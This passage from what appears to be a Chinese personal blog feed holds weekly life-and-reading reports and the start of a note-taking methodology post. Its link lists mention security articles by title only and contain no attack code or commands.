&lt;p&gt;看到已经离职的伙伴还在深圳自由自在，也不需要承担工作的压力，还挺羡慕的。但我其实知道我是做不到的，哪怕是周末宅一天打游戏，吃外卖，没有任何社交工作，对我来说也是无法接受的&lt;/p&gt;
&lt;p&gt;有压力，有进步空间，有交流，但是又时刻想着逃离，这种矛盾的心态，恐怕才是当下最好的状态吧&lt;/p&gt;
&lt;p&gt;正如标题所言，身在无间，心在桃源&lt;/p&gt;
&lt;p&gt;1024 程序员节快乐！&lt;/p&gt;
&lt;p&gt;线下活动有个摊位是tRPC的，活动很简单，扫个码看看你对tRPC的贡献，如果有贡献过就能获得奖励哈哈哈哈😆&lt;/p&gt;
&lt;p&gt;没想到之前无心插柳，抱着对tRPC的兴趣领了一些issue来完成，也算是共建的开发者了！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeigph4l45l7hjmku7yjjdyrforrl3o3ppe6o76tvc2xmyuao24pwqu.png&quot; alt=&quot;DraggedImage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打个广告，tRPC已经开源了，首批开源了&lt;code&gt;C++&lt;/code&gt; 和 &lt;code&gt;golang&lt;/code&gt; 的版本，欢迎提issue和pr&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/trpc-group&quot;&gt;https://github.com/trpc-group&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;📚阅读 &amp;amp; 读书会&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreidgt26gyhq6i3udgokcv4rwb44xxf3squc654egqzjqkqr6u7tcgm.jpeg&quot; alt=&quot;DraggedImage-1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreicqeys7huuc7lm47tnf4f3vilh5vcpsyvsphupy5pk3h3l5hzimuq.jpeg&quot; alt=&quot;DraggedImage-3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreih7es3zpm67ikxkyxddw2mhdwowe7umfgtewshgdtzxsmr3moi2d4.jpeg&quot; alt=&quot;DraggedImage-2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;诸君看图吧，累了不想写了🤣&lt;/p&gt;
&lt;p&gt;一次很有意思的读书会，尽管有一点点品牌宣传的嫌疑。不过我晚上回来，感觉全身无力…躺在床上什么都做不了，鉴定完毕，我可能是那种不适于闻香的人了&lt;/p&gt;
&lt;p&gt;📮 Newsletter&lt;/p&gt;
&lt;p&gt;以后所有的记录就都会自动同步到个人频道啦, &lt;a href=&quot;https://t.me/RayeJourney&quot;&gt;https://t.me/RayeJourney&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不过也会摘录一些放在博客里：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s/ZWYYFu0q_riKNlEyz6EDbw&quot;&gt; Apache ActiveMQ 远程代码执行漏洞 &lt;/a&gt; 又是一个Java的漏洞，最近打算花点时间研究下&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s/Er2I9edCx1P40oPWGdTpjA&quot;&gt; 在大城市，那些被放逐的程序员 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://panda995.xyz/network/3593.html&quot;&gt; 用NAS和兄弟共享小姐姐：Docker项目SyncTV，实现多人观影和直播体验 &lt;/a&gt;挺像入坑NAS的，但是奈何现在条件不允许&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV14R4y1u7nm&quot;&gt; 【全站首部】史诗级立体世界历史地图5000年 &lt;/a&gt; 这个做得挺好的，可以纵览中外历史各个朝代，历史爱好者必备了&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://262.ecma-international.org/10.0/sec-ordinarysetwithowndescriptor&quot;&gt;https://262.ecma-international.org/10.0/sec-ordinarysetwithowndescriptor&lt;/a&gt; 最后还是要翻ecma的js标准才能找到原因&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://we.dog/&quot;&gt;https://we.dog/&lt;/a&gt; 舔狗网站太好笑了&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=N7v84mRU2Ag&quot;&gt; 碧桂园，距离恒大还有多远？【汤山老王】 &lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报18 我也只有这么些本事</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A518-%E6%88%91%E4%B9%9F%E5%8F%AA%E6%9C%89%E8%BF%99%E4%B9%88%E4%BA%9B%E6%9C%AC%E4%BA%8B/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A518-%E6%88%91%E4%B9%9F%E5%8F%AA%E6%9C%89%E8%BF%99%E4%B9%88%E4%BA%9B%E6%9C%AC%E4%BA%8B/</guid><pubDate>Mon, 23 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报18 我也只有这么些本事&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeigxpm5ubuwdupalzhmojnbhlzqdom3nbbh2ufdf5mes57bdthxkvu.png&quot; alt=&quot;Group 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最近周报的更新时间不是很稳定，一方面可能是还没有调整过来，生活节奏稍有些紊乱，另一方面可能是有间歇性的懒癌发作了&lt;/p&gt;
&lt;p&gt;随着xlog上认识的朋友变多，也开始有些压力，每篇周报发出去的时候总要纠结万分。但随着这个过程的重复，发现纠结太多反而没那么多必要，写完就行了，大部分时候都能做到文从字顺，有些刻意的雕琢反倒是有些画蛇添足。&lt;/p&gt;
&lt;p&gt;你所看过的，你所经历的，都将凝聚在你的笔尖&lt;/p&gt;
&lt;p&gt;本周也没有发生什么新奇的事情，周六下午报名了公司谈判课，抱着好奇心去听课的，其中的一个活动印象深刻；三天时间读完了《羊毛记》这本科幻小说，写了点书评；还在看《有生之年》，感触挺多的。&lt;/p&gt;
&lt;p&gt;周日休养了一天，除了周三出差去了趟广州外，连续一周打球导致左臂肩膀肌肉酸疼。说是休养，其实基本一天都在打游戏，通关了cocoon这款解谜游戏，今年TGA年度独立游戏提名没有它我不看好吧🤣&lt;/p&gt;
&lt;p&gt;空暇之余收拾了下出租屋，叠好了衣服，刷了下厕所&lt;/p&gt;
&lt;p&gt;看到 one · 一个 app上的一篇文章，摘录了一句：&lt;/p&gt;
&lt;p&gt;我也只有这么些本事，收拾屋子，读几本书，再写下一些不重要的文字，日子天天过，在自己眼前这片小天地里怡然自得，我花光了所有力气&lt;/p&gt;
&lt;p&gt;封面图 星之海&lt;/p&gt;
&lt;p&gt;📕学会谈判&lt;/p&gt;
&lt;p&gt;课堂上老师讲了几个故事，其实基本都选自一些谈判类的书籍，不过第一次接触到印象还是很深刻&lt;/p&gt;
&lt;p&gt;罗斯福大选的故事可以看这里 &lt;a href=&quot;https://www.jianshu.com/p/6ac48f98ccc9&quot;&gt;https://www.jianshu.com/p/6ac48f98ccc9&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;印象最深刻的活动还是这个：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeigtknyu2nwgbrrubbmveclbz7kjbycyejpjks6frcgjqzee25yvge.jpeg&quot; alt=&quot;DraggedImage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;规则很简单，A组和B组分别在两个不同的教室，由老师负责传递信息，总共八轮报价&lt;/p&gt;
&lt;p&gt;第一轮报价，我们组计划先给对方一个善意的开局，毕竟如果直接报最低可能就没法玩了，结果对方却给了我们一个最低的报价
既然善意释放没有成功，但是我们预测到对方知道我方的善意后，还是多少会有点改进，于是调整到了中间价
果然对方也意识到了，于是第二轮、第三轮报价就都变为了20&lt;/p&gt;
&lt;p&gt;第四轮开始之前，老师说这一轮可以先互相派出一个人进行谈判，并且收益翻倍&lt;/p&gt;
&lt;p&gt;于是我们的代表和对方代表商议是都出最高价30（毕竟这样赚的才最多）
可能是由于前期善意释放的比较足，对方是相信了，但是我们经过考虑，决定撕破脸背刺一波，给出了最低价&lt;/p&gt;
&lt;p&gt;果然不出所料，对方被我们摆了一道&lt;/p&gt;
&lt;p&gt;但进行到第六轮的时候，老师说还可以进行一轮谈判，这是意想不到的，并且收益翻4倍
但是由于前期已经谈崩了，所以不存在复合的可能了，后面也就基本没啥意义了&lt;/p&gt;
&lt;p&gt;最后记录的结果，我们是第六组，和第一组pk的，一级其余两组的结果&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeihv6iurhracvvqvrlsr4skn4jh52iznypzrjh3ojbbmx6w6kwnwxu.png&quot; alt=&quot;DraggedImage-1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;有一些经验是值得记录的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;开局一定要明确善意和恶意，但最好释放善意，虽然从二、五组的比赛来看，恶意竞争的收益反而最多？&lt;/li&gt;
&lt;li&gt;长期动态博弈的最佳策略一定是以牙还牙，即你给我善意我给你善意，你给我恶意，我给你恶意&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;还是个挺有趣的游戏，初看起来很简单，但是玩起来就有点陷入猜疑链了，三体既视感&lt;/p&gt;
&lt;p&gt;📺 追剧&lt;/p&gt;
&lt;p&gt;《有生之年》&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeihavhxrqm6uh7rds4sptomk6dx7mhshqmzicl3br7gxrw6nhy7ec4.png&quot; alt=&quot;DraggedImage-2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最近越来越喜欢台剧了，喜欢这种充满生活烟火气息的镜头，而不是被滤镜美颜呈现出的虚假画面（国产剧说的就是你..&lt;/p&gt;
&lt;p&gt;很佩服台剧的表现力，略带点台湾口音的语言，却让我越听越上头，平凡的早餐店工作，路边的街头小摊，昏黄幽暗的家，还有一架老风扇在吱呀呀的转&lt;/p&gt;
&lt;p&gt;很适合在一个忙碌的一天结束之后，褪去了保护的外壳，静静地看着这一堆发生在别人身上的琐事，没有什么大道理可讲，生活就是在你日后回忆起来才发现，哦原来当初就是这么过去的啊&lt;/p&gt;
&lt;p&gt;📚阅读&lt;/p&gt;
&lt;p&gt;《羊毛战记》这部剧上半年Apple tv就开始追了，一集没落，
实际剧情和羊毛没半点关系（除了擦镜布是用羊毛做的外）	
又是一部被汉化标题耽误的美剧&lt;/p&gt;
&lt;p&gt;正好这本书微信读书上架了，集中两三天内读完了，翻译质量属实上乘之作（对，《耶路撒冷三千年》说的就是你，翻译的真拉胯）&lt;/p&gt;
&lt;p&gt;每到世界末日的主题，总少不了外星人入侵地球，僵尸围城等等，激光炮弹射出的火花，总让人疑心这是在庆祝而不是恐慌？
真正的世界末日，是在一个144层的地堡中，一个充满谎言与欺骗的阶级统治下，一小撮人，向外探寻的故事
当主角真正走出这个名为&quot;筒仓&quot;的地下堡垒，用自己的眼睛看穿欺骗的谎言，也不过就是从一个筒仓到了另一个筒仓&lt;/p&gt;
&lt;p&gt;筒仓，其实就像是存储粮食的仓库一样，不过是存储人类的种子而已
故事很简短，更像是一个寓言&lt;/p&gt;
&lt;p&gt;作者在结尾中写到，
筒仓墙上的屏幕就是我们的电视、网络浏览器、搜索引擎、报纸、新闻和手机。
真相要用自己的眼睛去看&lt;/p&gt;
&lt;p&gt;📮 Newsletter&lt;/p&gt;
&lt;p&gt;以后所有的记录就都会自动同步到个人频道啦, &lt;a href=&quot;https://t.me/RayeJourney&quot;&gt;https://t.me/RayeJourney&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不过也会摘录一些放在博客里：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=N7v84mRU2Ag&quot;&gt; 碧桂园，距离恒大还有多远？【汤山老王】 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s/_BD57wFFtXF6Cb-HHuZmwg&quot;&gt; 马立平：小学数学教材中的严重问题 &lt;/a&gt; 说实话完全没看懂想表达什么，纯粹是为了怼而怼..一股子无脑黑，当个笑话看吧，也学点新知识🐶&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://zhuanlan.zhihu.com/p/549183520&quot;&gt; 【翻译】Quine - 自我复制的程序（上） &lt;/a&gt;，本来以为Quine的编写还挺简单的，没想到是我想简单了&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s/GNXu3xUP9xLAo679ggiXmA&quot;&gt; 最近微信与抖音小游戏-找到自己的定位 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://surgee.me/Subconvertermd&quot;&gt; 自建Clash订阅转换 - Subconverter+Subweb+MyUrls搭建教程 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1mu4y1v7ov&quot;&gt; 我真的将这个虚假广告做成了游戏！！ ！&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s/yL-DwaTvbQMTypPltLOVyg&quot;&gt; 我们为何总试图分辨谁是真正的女性主义者？从Lisa疯马秀争议谈起 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lca.xlog.app/-sha-si-yi-zhi-zhi-geng-niao--yue-du-bi-ji&quot;&gt; 《杀死一只知更鸟》阅读笔记 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://xlog.app/post/weiyexing/shaping-the-perspective-of-wechat&quot;&gt; 微信背后的产品观》：哪些观点塑造了现在的微信 &lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报17 国庆后的状态调整</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A517-%E5%9B%BD%E5%BA%86%E5%90%8E%E7%9A%84%E7%8A%B6%E6%80%81%E8%B0%83%E6%95%B4/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A517-%E5%9B%BD%E5%BA%86%E5%90%8E%E7%9A%84%E7%8A%B6%E6%80%81%E8%B0%83%E6%95%B4/</guid><pubDate>Wed, 18 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报17 国庆后的状态调整&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiaubjggbgnyccictn65kl3xcurpdilcxfh7hmhpbnim6m6virg7gu.png&quot; alt=&quot;Group 1 (1)&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一些碎碎念&lt;/p&gt;
&lt;p&gt;似乎国庆回来后就有些中断自己坚持下来的写作习惯了，果然任何依赖人工维护的系统都是很难有可持续性的，想法照旧还是不断地产生，缺少一个落地的过程，还是喜欢这种碎碎念的过程&lt;/p&gt;
&lt;p&gt;国庆是在10月1号才回家的，毕竟高铁票难抢。上午11点的高铁，我照例是要提前1个多小时到的，似乎每次旅行前都习惯了要早早准备，担心第二天会有突发的意外，以前甚至晚上都睡不好觉，因为心里一直在担心着，有一根弦在绷着。不过随着旅行的次数变多心态也逐渐好转了，每次告诉自己国内旅行带上身份证和手机就够了，国外只要检查护照签证等。&lt;/p&gt;
&lt;p&gt;短暂的旅途（不过也持续了一天）也没啥意外，高铁选的是靠窗座位，坐好后一抬头发现斜前方的几个人，似乎是大学生打扮，其中一个拿出了一盒三国杀，开始洗牌做准备，思绪一下又回到了高中，那时经常在熄灯之后，熬夜打三国杀哈哈哈，三国杀算是从小学就开始陪伴我了，不过对于打牌的技巧并没有掌握太多&lt;/p&gt;
&lt;p&gt;国庆回来后最显著的一个转变就是，我开始想逐渐调整自己，让自己慢下来，学会聚焦，不再分心去做其余的事情。&lt;/p&gt;
&lt;p&gt;最明显的就是，上周集中通关了幽灵诡计，虽然后面很多关卡都是依靠着别人的攻略来做的，但当我通关完之后，还是体会到了一种目标终于实现了的快感。&lt;/p&gt;
&lt;p&gt;卡关也是免不了的，幽灵诡计这个游戏的剧情人物刻画都很不错，奈何通关的解法实际上就那一个，我印象最深的一次卡关，是在幽灵附身后忘记操控那个物体，导致我后续的动作一直无法在预期时间内完成，前后尝试了5、6次，最后仔细看攻略视频才意识到这一点。也侧面反映出我日常会由于一些思维的跳跃性忽略一些关键细节&lt;/p&gt;
&lt;p&gt;而不再是像以前一样，一旦一个游戏遇到了卡关，就立马去切换到下一个游戏玩，靠着不断地更换游戏来刺激多巴胺，结果却逐渐丧失了游戏的乐趣&lt;/p&gt;
&lt;p&gt;周末则是集中精力在玩《星之海》，虽然这游戏被很多人吐槽战斗节奏缓慢缺少新意，而且越到后期的战斗越像是坐牢，目前已经15+小时了，按照成就来推测感觉也不到10%的游戏内容&lt;/p&gt;
&lt;p&gt;但是每当我想要放弃玩的时候，游戏的bgm、或者画面的转变，总能吸引住我
顺带也玩了下最新出的极限竞速8，怎么说呢， 我玩了两个多小时就卸载了，游戏的优化还不到位，中间好几次闪退，而且对于Quick Resume的功能也不算友好，我上午打了几局，下午想切回去玩的时候已经无法正常进入游戏了，只能等这个游戏后续的更新了，还是继续玩我的极限竞速地平线5吧&lt;/p&gt;
&lt;p&gt;回去一趟后，意料之外的是，Apple watch的表冠按钮坏了，只能旋转，但按下去却没有任何反应。本来以为是系统问题，一咬牙把iPhone和watch都更新到了最新系统，但依旧存在问题。心累了，其他功能还正常的情况下也只能接受了。不过更新后的健康App Ui界面倒是让我很惊喜，还是比较喜欢这种纯色卡片形式的风格&lt;/p&gt;
&lt;p&gt;其余的更新没太多关注，倒是这个给iPhone充电时横屏显示小组件让我比较感到比较意外，虽然很早就知道了有这个，不过当时觉得挺鸡肋的，但真正用起来到时候，不得不说Apple还是懂用户的，也有可能是依据一些后台数据分析出很多用户存在这种使用行为&lt;/p&gt;
&lt;p&gt;目标感树立后，真正做到了每天起床刷牙洗脸时，问自己的第一句话就是今天要做什么。同时，我也把微信读书书架上一大堆想读但未曾翻过的书给删掉了，确实没有存在的必要了。以及流媒体上实际想看但未看的剧给删了&lt;/p&gt;
&lt;p&gt;感悟是有一次看到一句话，要注意信息输入和输出的均衡，当时看到觉得深以为然，并且回想起自己在很累的时候，明明都在不断提醒自己要休息了，结果却还是忍不住去刷B站的视频推荐，实际上看到感兴趣的视频也并不会真正地看完，蜻蜓点水过后就去刷下一个了，实际上和刷短视频的方式没有什么区别，我称之为长视频的短视频刷法。&lt;/p&gt;
&lt;p&gt;🎮 游戏&lt;/p&gt;
&lt;p&gt;国庆期间，其实也没做什么，代码没写多少，书也没看多少，但是集中玩了两款游戏，一个是杀戮尖塔，另一个就是王国之泪了&lt;/p&gt;
&lt;p&gt;杀戮尖塔之前就断断续续玩过，但是一直没找到规律，进阶一都打不过实在是太菜了
于是找了几个攻略视频看看实战打法，纠正了自己对一些卡牌的错误认知，又经过几局的努力，终于在一个午夜零点，打通了战士的进阶1
王国之泪则是很久就想玩了，虽然前作野炊我没玩下去。但是不妨碍我对王国之泪的爱，测评视频都看了好几个
但是奈何太菜了，最开始连新手村都折腾了好久，印象最深的两个，一个是利用左纳乌装置过河，因为我的路线实际上是相反的，并不知道风扇应该怎么用，所以我把它拼到武器上了，以为靠着武器挥舞就能产生风力来过河
另外一处则是在新手村找不到第三处神庙，就是雪山上那座，翻了攻略视频才知道的🤣
怎么才能找到这些容易错过的点呢？
也挺难总结的，毕竟每个游戏都有每个设计的思路
有时候就像是阅读理解，你猜中了出题人的心思才有可能做出来
比如刺客信条英灵殿里面找钥匙进门，有时候不一定得找钥匙，可能是爬上屋顶射中门栓，也有可能是某个窗户口进去等等，如果实在找不到那就是剧情才能进入了
比如Tunic里面，一定要紧贴着每条路走，这样才有可能找到隐藏的宝箱&lt;/p&gt;
&lt;p&gt;📚阅读 &amp;amp; 读书会&lt;/p&gt;
&lt;p&gt;最近的阅读主要还是集中在热点事件上，偶尔会回顾下《明朝那些事》，最近在看《耶路撒冷三千年》&lt;/p&gt;
&lt;p&gt;其实也想克制下，先把自己感兴趣的读完，但奈何还是无法脱离一些热点事件或者是豆瓣上比较热门的书籍，毕竟内心还是渴望有一些社交货币，能够在和人聊天的时候有一些话题&lt;/p&gt;
&lt;p&gt;本期读书会的分享的书籍是《献给阿尔吉侬的花束》&lt;/p&gt;
&lt;p&gt;第一遍很快速地读完了，开始重读第二遍，强烈建议这本书至少一定要读两遍。起初你会嘲笑可怜的查理，错字连篇，小心翼翼，但是第二遍阅读的过程中，在字里行间，在每一处查理的自我否定，你都能感受到一种无可奈何的悲伤&lt;/p&gt;
&lt;p&gt;补充：真的很佩服翻译，我能想到英文原文里肯定是一堆的单词拼写错误，但是译者却能传神地翻译为对应的汉字别字&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;尼姆教受说如果手术成工而且是永久的。他们就能让其他人也像我一样便匆名。也许全世介的所有人都可以。他说这表是我对棵学做了好是我会便得有名。我的名子会写近书本去。我才不管便有名。我只要和其他人一样便匆名。这样我就可以有很多洗欢我的朋友。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;当你第二遍去读到这段文字的时候，有一种忍不住要落泪的感觉，这种“讨好型人格”似乎，似乎我之前也有过，但是实际上不管你怎么努力，总会有人讨厌你。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;查理太过担心这些细节，以至金皮说“好，换你试试看”时，他根本动不了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我回忆起我小学体检时，测肺活量，因为我不知道那个口要更换（后来我才知道这应该是医生做的事），那个医生就用一副很不耐烦的表情吼我，我当时以为是要洗一下那个口，打算用手洗，又被他吼了，最后我都不知道怎么做完测试的。这件事给我留下了很重的阴影，以至于现在我还不敢去做肺活量测试&lt;/p&gt;
&lt;p&gt;📮 Newsletter&lt;/p&gt;
&lt;p&gt;以后所有的记录就都会自动同步到个人频道啦, &lt;a href=&quot;https://t.me/RayeJourney&quot;&gt;https://t.me/RayeJourney&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不过也会摘录一些放在博客里：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://lca.xlog.app/Flask-SSTI-ba-chang-ji-lu&quot;&gt; Flask SSTI靶场记录 - lca &lt;/a&gt;想不到xlog上也有同样的搞安全的同学&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s/ZG1DZ53iIcudEXQ0WyaaRw&quot;&gt; 腾讯总部大厦「贴膜」了！因为它们 &lt;/a&gt; 科技向善！第一次知道大厦除了光污染还会影响鸟类飞行，算是个科普了&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://book.douban.com/review/7421663/comments&quot;&gt; 被简体中文的翻译毁了（耶路撒冷三千年）书评 &lt;/a&gt; 简中翻译真的拉胯，同样一段话就不能好好说吗&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://thirdshire.com/post/getting-started-knitting/&quot;&gt; 开始学习织毛线Knitting吧 &lt;/a&gt;尽管深圳的冬天等于没有，但还是唤起了我对于织毛衣的热爱，从小就喜欢做这些手工哈哈&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html&quot;&gt; A Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux &lt;/a&gt; 如何编写一个最小的hello world程序，最底层果然还是要靠汇编，对于编译链接的原理有理解了几分&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1TC4y1G7sT&quot;&gt; 石可人：父亲欠债三千万、坐牢、私生子，可我觉得他没那么坏 &lt;/a&gt; 竟然在B站上看到了自己的学弟，原来每个人都是在负重前行&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1JN411r7Mr&quot;&gt; 「花生」浅谈诺基亚三十年辉煌与没落，我收集了50+台经典老机 &lt;/a&gt; 花生说的长视频质量确实很顶，当你把时间线拉长，沧海桑田的感觉就出来了&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hyoban.xlog.app/24-years&quot;&gt; 写在 24 岁之前 &lt;/a&gt; 算下来自己也快24了，是时候准备点东西了&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s/PJN357qZUcyDRbqyE6mpFg?forceh5=1&quot;&gt; 国产版“八方旅人”，会是2023最好的武侠游戏吗？&lt;/a&gt; 自从八方旅人之后，对于这类JRPG，像素风，回合制战斗的游戏就越来越上头了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>我的个人信息流方法论（上）</title><link>https://rayepeng.net/posts/%E6%88%91%E7%9A%84%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF%E6%B5%81%E6%96%B9%E6%B3%95%E8%AE%BA%E4%B8%8A/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%88%91%E7%9A%84%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF%E6%B5%81%E6%96%B9%E6%B3%95%E8%AE%BA%E4%B8%8A/</guid><pubDate>Wed, 18 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;我的个人信息流方法论（上）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeic7edy3kgp5gjhynjfmlpru76ociqfa2qrdt6zxpgs42gng7y7pc4.png&quot; alt=&quot;Group 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;为什么要做信息流整理&lt;/p&gt;
&lt;p&gt;我是个很懒的人，但是我喜欢记录，喜欢去捕捉穿梭于神经元之间的火花。可能就像种田是根植于中国人的基因中一样，随手记录也是如此。
最早在汉武帝的时候，便设立了起居注的官员来记录皇帝的言行，为后世的史书编写提供材料。我既没有皇帝的权力，也不一定能在历史的书页角落中留下自己的名字。但我还是想为自己拍摄下一个个快照，就像一个连环画一样串联起生活中的点滴，权当做是自己的史记吧&lt;/p&gt;
&lt;p&gt;本文则聚焦于我是如何整理自己的信息流的，包括日常信息的获取，信息加工、输出。看到大佬们都在总结自己的信息流管理系统，于是也手痒来总结下，并不聚焦于某一个特定的工具，关注的重点在于我的经验与方法论&lt;/p&gt;
&lt;p&gt;ps. 感觉文章写下去会有点长，于是就分为两半吧，先写方法论，再写实践&lt;/p&gt;
&lt;p&gt;方法论&lt;/p&gt;
&lt;p&gt;卡片式笔记&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;减少手工的维护，繁琐的步骤会让人犯错和没有动力&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;上文提到我是一个很懒的人，这里的懒指的是我缺少去长期维护一个系统的动力，我希望所有的工具都是开箱即用的，并且迁移成本低、自动化程度高。正如DevOps中引入的CI/CD，其本质就是减少手工的操作，繁琐的操作步骤会让人犯错。另外一个很重要的原因则是，我会时不时地摆烂，这更导致我没有任何动力去做一个需要长期坚持维护的系统。我相信不止我一个，人的惰性是天生的，很难摆脱（即使天蝎座+ENFJ人格也不例外🐶&lt;/p&gt;
&lt;p&gt;有很多人推崇各种方法去预先组织自己的笔记系统，将其划分为一个个子模块。这对我来说并没有什么作用，除了能画出漂亮的图之外🤣。就如同我写文章，明明规划了一堆的大纲，结果大纲写完后，反倒没有任何下笔的动力了（没错，很多文章就是这个被我咕掉的🥹）&lt;/p&gt;
&lt;p&gt;卡片式笔记是最好的解决办法，将一个个想法快速落地为卡片，再结合标签、白板等功能，在一个下雨的晚上，或者是一个闲暇的午后，讲这些点点滴滴串联起来，输出为一篇文章，或将其内化为我自己的知识。&lt;/p&gt;
&lt;p&gt;工具选择&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;减少工具带来的心智负担&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;选择了卡片笔记的整理方式后，对于工具的选择，我更多关注的是，减少我的心智负担，轻松上手，没有任何多余步骤，不需要去思考在哪里创建文件夹，打什么标签&lt;/p&gt;
&lt;p&gt;一旦有了心智负担，就难以沉下心来去记录了&lt;/p&gt;
&lt;p&gt;记笔记是一件很私密的事，但我的想法经常在工作的时候冒出来，我肯定是不愿意让同事看到我写下的内容的（毕竟任何方面的思考都有xs🤣。&lt;/p&gt;
&lt;p&gt;所以我有几个选择的原则：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;一定要支持黑暗模式，因为白色实在是太亮眼了，看个十多分钟我的眼睛就不舒服了&lt;/li&gt;
&lt;li&gt;一定不要强制写标题，我最讨厌的就是笔记标题，如同给变量命名一样，并且硕大的标题也就意味着路过的同事能轻易地看到你在干嘛&lt;/li&gt;
&lt;li&gt;一定是纯文本，只需要靠文字+快捷键就能基本实现我所需要的一切&lt;/li&gt;
&lt;li&gt;一定要能调整字体大小，记笔记是一件很私密的事情，但是工作的时候也常常有想法沉淀，这时我也绝对不希望路过的同事能轻易看到我的记录&lt;/li&gt;
&lt;li&gt;一定有完善的搜索，这是必须的，因为都是散乱的卡片笔记&lt;/li&gt;
&lt;li&gt;一定具备可玩性，可探索性，长期使用一个笔记软件是很困难的，尤其是没有任何可玩性的，比如记事本，人都是喜新厌旧的，用久了一个软件自然会去想着折腾新的&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;专业的事情专业的软件做&lt;/p&gt;
&lt;p&gt;写作工具我主要还是用的Ulysses&lt;/p&gt;
